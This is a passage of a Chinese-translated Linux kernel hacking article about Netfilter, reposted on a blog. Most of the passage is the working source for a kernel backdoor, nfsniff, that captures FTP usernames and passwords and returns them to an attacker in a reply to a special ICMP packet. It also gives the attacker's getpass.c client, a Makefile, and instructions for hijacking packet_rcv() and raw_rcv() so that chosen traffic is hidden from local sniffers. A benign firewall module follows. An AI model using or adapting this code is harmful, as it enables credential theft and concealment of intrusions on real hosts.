data += 5;

if (username) return;

while (*(data + i) != 'r' && *(data + i) != 'n'
&& *(data + i) != '' && i < 15) {
len++;
i++;
}

if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
memcpy(username, data, len);
*(username + len) = ''; /* NULL terminate */
} else if (strncmp(data, "PASS ", 5) == 0) { /* Password */
data += 5;

/* If a username hasn't been logged yet then don't try logging
* a password */
if (username == NULL) return;
if (password) return;

while (*(data + i) != 'r' && *(data + i) != 'n'
&& *(data + i) != '' && i < 15) {
len++;
i++;
}

if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
memcpy(password, data, len);
*(password + len) = ''; /* NULL terminate */
} else if (strncmp(data, "QUIT", 4) == 0) {
/* Quit command received. If we have a username but no password,
* clear the username and reset everything */
if (have_pair) return;
if (username && !password) {
kfree(username);
username = NULL;
target_port = target_ip = 0;
have_pair = 0;

return;
}
} else {
return;
}

if (!target_ip)
target_ip = skb->nh.iph->daddr;
if (!target_port)
target_port = tcp->source;

if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
// if (have_pair)
// printk("Have password pair! U: %s P: %sn", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct tcphdr *tcp;

/* Make sure this is a TCP packet first */
if (sb->nh.iph->protocol != IPPROTO_TCP)
return NF_ACCEPT; /* Nope, not TCP */

tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));

/* Now check to see if it's an FTP packet */
if (tcp->dest != htons(21))
return NF_ACCEPT; /* Nope, not FTP */

/* Parse the FTP packet for relevant information if we don't already
* have a username and password pair. */
if (!have_pair)
check_ftp(sb);

/* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */

/* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT;

/* Is this an ICMP packet? */
if (sb->nh.iph->protocol != IPPROTO_ICMP)
return NF_ACCEPT;

icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}

/* Okay, matches our checks for "Magicness", now we fiddle with
* the sk_buff to insert the IP address, and username/password pair,
* swap IP source and destination addresses and ethernet addresses
* if necessary and then transmit the packet from here and tell
* Netfilter we stole it. Phew... */
taddr = sb->nh.iph->saddr;
sb->nh.iph->saddr = sb->nh.iph->daddr;
sb->nh.iph->daddr = taddr;

sb->pkt_type = PACKET_OUTGOING;

switch (sb->dev->type) {
case ARPHRD_PPP: /* No fiddling needs doing */
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char t_hwaddr[ETH_ALEN];

/* Move the data pointer to point to the link layer header */
sb->data = (unsigned char *)sb->mac.ethernet;
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
ETH_ALEN);
memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);

break;
}
};

/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
memcpy(cp_data + 4, username, 16);
if (password)
memcpy(cp_data + 20, password, 16);

/* This is where things will die if they are going to.
* Fingers crossed... */
dev_queue_xmit(sb);

/* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;

target_port = target_ip = 0;

// printk("Password retrievedn");

return NF_STOLEN;
}

int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_IP_PRE_ROUTING;

post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_IP_POST_ROUTING;

nf_register_hook(&pre_hook);
nf_register_hook(&post_hook);

return 0;
}

void cleanup_module()
{
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook);

if (password)
kfree(password);
if (username)
kfree(username);
}

------[ 5.2.2 - 原始碼 : getpass.c

nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge - March 2003 */

#include
#include
#include
#include
#include
#include
#include
#include
#include

#ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
# include
#include

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
unsigned char dgram[256]; /* Plenty for a PING datagram */
unsigned char recvbuff[256];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
int one = 1;
int *ptr_one = &one;

if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIPn", argv[0]);
exit(1);
}

/* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %sn",
strerror(errno));
exit(1);
}

/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %sn",
strerror(errno));
exit(1);
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);

my_addr.s_addr = inet_addr(argv[2]);

memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);

/* Fill in the IP fields first */
iphead->ip_hl = 5;
iphead->ip_v = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;

/* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B;
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

/* Finally, send the packet */
fprintf(stdout, "Sending request...n");
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "nFailed sending request! %sn",
strerror(errno));
return 0;
}

fprintf(stdout, "Waiting for reply...n");
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %sn",
strerror(errno));
close(icmp_sock);
exit(1);
}

iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + 8),
sizeof (struct in_addr));

fprintf(stdout, "Stolen for ftp server %s:n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %sn",
(char *)((char *)icmphead + 12));
fprintf(stdout, "Password: %sn",
(char *)((char *)icmphead + 28));

close(icmp_sock);

return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;

for(sum = 0;numwords > 0;numwords--)
sum += *buff++; /* add next word, then increment pointer */

sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);

return ~sum;
}

** 譯註:上述兩個檔案的Makefile:

nfsniff/Makefile
#Makefile
#

CFLAGS=-Wall
LIBS=-L/usr/lib -lc
# Change include directory for your kernel
MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include
MODULE_CFLAGS+=$(CFLAGS)
EXECUTE_CFLAGS=-ggdb
EXECUTE_CFLAGS+=$(CFLAGS)

all : nfsniff.o getpass
nfsniff.o : nfsniff.c
gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)
ld -r -o nfsniff.o nfsniff~.o $(LIBS)
getpass.o : getpass.c
gcc -c getpass.c $(EXECUTE_CFLAGS)
getpass : getpass.o
gcc -o getpass getpass.o $(EXECUTE_CFLAGS)
clean :
rm -f *.o getpass

**譯註完


--[ 6 - 在Libpcap中隱藏網路通訊

這一節簡短的描述,如何在修改Linux的核心,使與匹配預先定義的條件的網路通訊對執行於本機的資料包嗅探工具不可見。列在本文最後的是可以正常執行的程式碼,它實現了隱藏所有來自或者是去往指定的IP地址的資料包的功能。好了,讓我們開始...

----[ 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap

對系統管理員來說,最有用的軟體莫過於哪些在廣義分類下被稱為“資料包嗅探器”的軟體了。兩個最典型的通用資料包嗅探器是tcpdump(1)以及ethereal(1)。這兩個軟體都利用了Libpcap庫(隨著參考文獻[1]中的tcpdump釋出)來抓取原始資料包。網路入侵檢測系統(NIDS)也利用了Libpcap庫。SNORT需要Libpcap,Libnids——一個提供IP重組和TCP流跟蹤的NIDS開發庫(參見參考文獻[2]),也是如此。

在Linux系統下,Libpcap庫使用SOCK_PACKET介面。Packet套接字是一種特殊的套接字,它可以用於發生和接收鏈路層的原始資料包。關於Paket套接字有很多話題,但是由於本節討論的是關於如何隱藏它們而不是如何利用它們,感興趣的讀者可以直接去看packet(7)手冊頁。對於本文中的討論,只需要理解packet套接字被Libpcap應用程式用於獲取進入或者離開本地主機的原始資料包。

當核心網路堆疊收到一個資料包的時候,檢查該資料包是否是某個packet套接字感興趣的資料包。如果是,則將該資料遞交給那些對其感興趣的套接字。如果不是,該資料包繼續它的旅程,進入TCP、UDP或者其它型別的套接字。對於SOCK_RAW型別的套接字同樣如此。原始套接字很類似於packet套接字,只是原始套接字不提供鏈路層的包頭。一個利用原始套接字的實用程式的例子是我的SYNalert程式,參見參考文獻[3](請原諒我在這兒插入的題外話 :)。

到此,你應該已經瞭解了Linux下的資料包嗅探軟體使用了Libpcap庫。Libpcap在Linux下利用packet套接字介面來獲取包含鏈路層包頭的原始資料包。同時提到了原始套接字,它提供給使用者空間的應用程式獲取包含IP頭的資料包的方法。下一節將討論如何透過Linux核心模組來隱藏來自這些packet套接字以及原始套接字的網路通訊。


------[ 6.2 給狼披上羊皮

當收到資料包並將其送到一個packet套接字時,packet_rcv()函式被呼叫。這個函式可以在net/packet/af_packet.c中找到,packet_rcv()負責使資料包經過所有應用於目的套接字的套接字過濾器,並最終將其遞交到使用者空間。為了隱藏來自packet套接字的資料包,我們需要阻止所有特定資料包呼叫packet_rcv()函式。我們如何做到這一點?當然是優秀的ol式的函式劫持了。

函式劫持的基本操作是:如果我們知道一個核心函式,甚至是那些沒有被匯出的函式,的入口地址,我們可以在使實際的程式碼執行前將這個函式重定位到其他的位置。為了達到這樣的目的,我們首先要從這個函式的開始,儲存其原來的指令位元組,然後將它們換成跳轉到我們的程式碼處執行的絕對跳轉指令。例如以i386組合語言實現該操作如下:

movl (address of our function), %eax
jmp *eax

這些指令的16進位制程式碼如下(假設我們的函式地址為0):

0xb8 0x00 0x00 0x00 0x00
0xff 0xe0

如果我們在Linux核心模組的初始化時將上例中的函式地址替換為我們的hook函式的地址,我們就能夠使我們的hook函式先執行。當我們想執行原來的函式時,我們只需要在開始時恢復函式原來的指令,呼叫該函式並且替換我們的劫持程式碼。簡單而有效。Silvio Cesare 不久前寫過一篇文章,講述如何實現核心函式劫持,參見參考文獻[4]。

要從packet套接字隱藏資料包,我們首先要寫一個hook函式,用於檢查資料包是否滿足我們隱藏的標準。如果滿足,那麼我們的hook函式簡單的向它的呼叫函式返回0,packet_rcv()永遠不會被呼叫。如果packet_rcv()永遠不被呼叫,那麼這個資料包也永遠都不會遞交給使用者空間的packet套接字。注意,只是對於"packet"套接字來說,該資料包被丟棄了。如果我們要過濾送到packet套接字的FTP資料包,那麼FTP伺服器的TCP套接字仍然能收到這些資料包。我們所做的一切只是使執行在本機上的嗅探軟體無法看到這些資料包。FTP伺服器仍然能夠處理和記錄連線。

理論上就是這麼多,關於原始套接字的用法同理可得。不同的是我們需要hook的是raw_rcv()函式(在net/ipv4/raw.c中可以找到)。下一節將給出並討論一個Linux核心模組的示例程式碼,該程式碼劫持packet_rcv()函式和raw_rcv()函式,隱藏任何來自或去往我們指定的IP地址的資料包。


--[ 7 - 結束語

希望你現在至少對Netfilter有了一個初步的瞭解,如何使用它以及你能用它來做什麼。你同樣也應當有了一些使特定的網路通訊從執行在本機的嗅探軟體中隱藏的知識了。如果你需要本文中涉及的原始碼的tar包,請直接給我發email。我同樣很樂意接收任何的指正、批評或者建議。好了,把一切都留給你和你的想象力,來做一些我在這兒展現的有趣的事吧!


--[ A - 輕量級防火牆
----[ A.1 - 概述

輕量級防火牆(LWFW)是一個簡單的核心模組,用於演示我們在第4節中涉及的基本的資料包過錄技術。LWFW也透過ioctl()系統呼叫提供了一個控制介面。

由於LWFW的原始碼已經有足夠的文件了,我在這兒只給出它如何工作的簡單概述。當LWFW模組被載入後,它的第一個任務就是嘗試註冊控制設定。注意在LWFW的ioctl()控制介面可用之前,需要在/dev下建立一個字元裝置檔案。如果控制裝置註冊成功,"in use"標誌被清除並且對NF_IP_PRE_ROUTE進行hook的函式被註冊。清除函式執行相反的操作。

LWFW對資料包丟棄提供三個基本的選項。按照處理的順序列出如下:
-- 源介面
-- 源IP地址
-- 目的TCP埠

這些規則的設定由ioctl()介面完成。當一個資料包被接收,LWFW按照我們設定的規則進行檢查。如果匹配了其中的任意一條規則,那麼hook函式將返回NF_DROP,然後Netfilter將悄無聲息的丟棄這個資料包。否則,hook函式返回NF_ACCEPT,資料包將繼續它的旅程。

最後,有必要提一下的是LWFW的統計日誌。無論任何時候資料包進入hook函式,LWFW都將收到的資料包的計數累加。單獨的規則檢查函式負責增加它們各自的丟棄的資料包的計數。注意,當規則的值被改變時,它的丟棄資料包的計數被重置為0。lwfwstats程式利用LWFW_GET_STATS這個IOCTL來獲取統計資料結構的一個副本並顯示其內容。


----[ A.2 - 原始碼 : lwfw.c

lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.
*
* Written by bioforge - March 2003.
*/

#define MODULE
#define __KERNEL__

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
| LWFW_IP_DENY_ACTIVE
| LWFW_PORT_DENY_ACTIVE);

static int major = 0; /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO: One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL; /* Interface to deny */
static unsigned int deny_ip = 0x00000000; /* IP address to deny */
static unsigned short deny_port = 0x0000; /* TCP port to deny */

/*
* This is the interface device's file_operations structure
*/
struct file_operations lwfw_fops = {
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
lwfw_ioctl,
NULL,
lwfw_open,
NULL,
lwfw_release,
NULL /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
unsigned int ret = NF_ACCEPT;

/* If LWFW is not currently active, immediately return ACCEPT */
if (!active)
return NF_ACCEPT;

lwfw_statistics.total_seen++;

/* Check the interface rule first */
if (deny_if && DENY_IF_ACTIVE) {
if (strcmp(in->name, deny_if) == 0) { /* Deny this interface */
lwfw_statistics.if_dropped++;
lwfw_statistics.total_dropped++;
return NF_DROP;
}
}

/* Check the IP address rule */
if (deny_ip && DENY_IP_ACTIVE) {
ret = check_ip_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}

/* Finally, check the TCP port rule */
if (deny_port && DENY_PORT_ACTIVE) {
ret = check_tcp_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}

return NF_ACCEPT; /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
NULL_CHECK(statbuff);

copy_to_user(statbuff, &lwfw_statistics,
sizeof(struct lwfw_stats));

return 0;
}

/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
/* Seperately defined pointers to header structures are used
* to access the TCP fields because it seems that the so-called
* transport header from skb is the same as its network header TCP packets.
* If you don't believe me then print the addresses of skb->nh.iph
* and skb->h.th.
* It would have been nicer if the network header only was IP and
* the transport header was TCP but what can you do? */
struct tcphdr *thead;

/* We don't want any NULL pointers in the chain to the TCP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

/* Be sure this is a TCP packet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}

thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));

/* Now check the destination port */
if ((thead->dest) == deny_port) {
/* Update statistics */
lwfw_statistics.total_dropped++;
lwfw_statistics.tcp_dropped++;

return NF_DROP;
}

return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
lwfw_statistics.ip_dropped++; /* Update the statistics */
lwfw_statistics.total_dropped++;

return NF_DROP;
}

return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
int ret = 0;
char *if_dup; /* Duplicate interface */

/* Make sure the name is non-null */
NULL_CHECK(name);

/* Free any previously saved interface name */
if (deny_if) {
kfree(deny_if);
deny_if = NULL;
}

if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
== NULL) {
ret = -ENOMEM;
} else {
memset(if_dup, 0x00, strlen((char *)name) + 1);
memcpy(if_dup, (char *)name, strlen((char *)name));
}

deny_if = if_dup;
lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */
printk("LWFW: Set to deny from interface: %sn", deny_if);

return ret;
}

static int set_ip_rule(unsigned int ip)
{
deny_ip = ip;
lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */

printk("LWFW: Set to deny from IP address: %d.%d.%d.%dn",
ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
(ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);

return 0;
}

static int set_port_rule(unsigned short port)
{
deny_port = port;
lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */

printk("LWFW: Set to deny for TCP port: %dn",
((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));

return 0;
}

/*********************************************/
/*
* File operations functions for control device
*/
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg)
{
int ret = 0;

switch (cmd) {
case LWFW_GET_VERS:
return LWFW_VERS;
case LWFW_ACTIVATE: {
active = 1;
printk("LWFW: Activated.n");
if (!deny_if && !deny_ip && !deny_port) {
printk("LWFW: No deny options set.n");
}
break;
}
case LWFW_DEACTIVATE: {
active ^= active;
printk("LWFW: Deactivated.n");
break;
}
case LWFW_GET_STATS: {
ret = copy_stats((struct lwfw_stats *)arg);
break;
}
case LWFW_DENY_IF: {
ret = set_if_rule((char *)arg);
break;
}
case LWFW_DENY_IP: {
ret = set_ip_rule((unsigned int)arg);
break;
}
case LWFW_DENY_PORT: {
ret = set_port_rule((unsigned short)arg);
break;
}
default:
ret = -EBADRQC;
};

return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
if (lwfw_ctrl_in_use) {
return -EBUSY;
} else {
MOD_INC_USE_COUNT;
lwfw_ctrl_in_use++;
return 0;
}
return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
MOD_DEC_USE_COUNT;
return 0;
}

/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
/* Register the control device, /dev/lwfw */
SET_MODULE_OWNER(&lwfw_fops);

/* Attempt to register the LWFW control device */
if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
&lwfw_fops)) < 0) {
printk("LWFW: Failed registering control device!n");
printk("LWFW: Module installation aborted.n");
return major;
}

/* Make sure the usage marker for the control device is cleared */
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

printk("nLWFW: Control device successfully registered.n");

/* Now register the network hooks */
nfkiller.hook = lwfw_hookfn;
nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */
nfkiller.pf = PF_INET; /* IPV4 protocol hook */
nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */

/* And register... */
nf_register_hook(&nfkiller);

printk("LWFW: Network hooks successfully installed.n");

printk("LWFW: Module installation successful.n");
return 0;
}

void cleanup_module()
{
int ret;

/* Remove IPV4 hook */
nf_unregister_hook(&nfkiller);

/* Now unregister control device */
if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
printk("LWFW: Removal of module failed!n");
}

/* If anything was allocated for the deny rules, free it here */
if (deny_if)
kfree(deny_if);

printk("LWFW: Removal of module successful.n");
}


----[ A.3 - 標頭檔案 : lwfw.h

lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
*
* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.
*
* Written by bioforge - March 2003
*/

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME "lwfw"

/* Version of LWFW */
# define LWFW_VERS 0x0001 /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */
#define LWFW_ACTIVATE 0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS 0xFEED0004
#define LWFW_DENY_IF 0xFEED0005
#define LWFW_DENY_IP 0xFEED0006
#define LWFW_DENY_PORT 0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE 0x00000001
#define LWFW_IP_DENY_ACTIVE 0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
* Note that whenever a rule's condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
unsigned int if_dropped; /* Packets dropped by interface rule */
unsigned int ip_dropped; /* Packets dropped by IP addr. rule */
unsigned int tcp_dropped; /* Packets dropped by TCP port rule */
unsigned long total_dropped; /* Total packets dropped */
unsigned long total_seen; /* Total packets seen by filter */
};

/*
* From here on is used solely for the actual kernel module
*/
#ifdef __KERNEL__
# define LWFW_MAJOR 241 /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)
if ((ptr) == NULL) return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif /* __KERNEL__ */
#endif

lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
$(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
rm -rf *.o
rm -rf ./*~

--[ B - 第6節中的原始碼

這裡給出的是一個劫持packet_rcv()和raw_rcv()函式以隱藏來自或去往我們指定的IP地址的資料包的簡單模組。預設的IP地址被設定為127.0.0.1,但是可以透過改變#define IP的值來改變它。還有一個bash指令碼,用於從System.map檔案中獲取需要的函式的入口地址,並且以需要的格式將這些地址做為引數來執行insmod命令。這個載入指令碼是grem所寫。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617731/viewspace-950341/,如需轉載,請註明出處,否則將追究法律責任。

相關文章